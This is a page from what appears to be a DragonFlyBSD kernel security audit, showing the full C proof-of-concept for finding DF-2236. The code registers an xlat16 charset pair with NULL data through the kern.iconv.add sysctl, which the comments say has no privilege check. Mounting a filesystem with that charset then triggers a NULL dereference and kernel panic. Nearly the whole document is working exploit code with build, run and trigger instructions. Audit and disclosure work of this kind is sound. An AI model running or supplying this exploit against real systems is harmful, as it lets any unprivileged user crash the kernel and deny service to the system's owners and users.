DragonFlyBSD Kernel Audit
DF-2236 / df2236_register.c
← back to finding ↓ download raw
/*
 * DF-2236 PoC: register a malicious xlat16 charset pair with cp_data=NULL
 * (ia_datalen=0) via kern.iconv.add sysctl -- which has NO privilege check.
 *
 * When iconv_xlat16_open() later processes this pair (triggered by mounting
 * a filesystem with -C <charset>), it dereferences cp_data (NULL):
 *
 *   idxp = (uint32_t **)csp->cp_data;   // NULL         (iconv_xlat16.c:69)
 *   ...
 *   if (*idxp) {                        // dereferences NULL -> panic
 *
 * Build (guest): cc -o df2236_register df2236_register.c
 * Run  (guest):  ./df2236_register            # any user, no privcheck
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <sys/iconv.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>

int main(int argc, char **argv) {
    struct iconv_add_in din;
    struct iconv_add_out dout;
    size_t outlen;
    int error;

    const char *to = (argc > 1) ? argv[1] : "CP437";
    const char *from = (argc > 2) ? argv[2] : "ISO8859-1";

    memset(&din, 0, sizeof(din));
    memset(&dout, 0, sizeof(dout));
    din.ia_version = ICONV_ADD_VER;
    strlcpy(din.ia_converter, "xlat16", sizeof(din.ia_converter));
    strlcpy(din.ia_to, to, sizeof(din.ia_to));
    strlcpy(din.ia_from, from, sizeof(din.ia_from));
    din.ia_datalen = 0;       /* cp_data stays NULL -> NULL deref in iconv_xlat16_open */
    din.ia_data = NULL;

    outlen = sizeof(dout);
    error = sysctlbyname("kern.iconv.add", &dout, &outlen, &din, sizeof(din));
    if (error) {
        fprintf(stderr, "sysctl kern.iconv.add failed: %s\n", strerror(errno));
        fprintf(stderr, "(is libiconv.ko loaded? kldload libiconv)\n");
        return 1;
    }
    printf("[+] Registered malicious xlat16 pair '%s'->'%s' with cp_data=NULL (csid=%d)\n",
           to, from, dout.ia_csid);
    printf("[+] Trigger: mount a filesystem with -C %s -> iconv_xlat16_open -> NULL deref panic\n", to);
    return 0;
}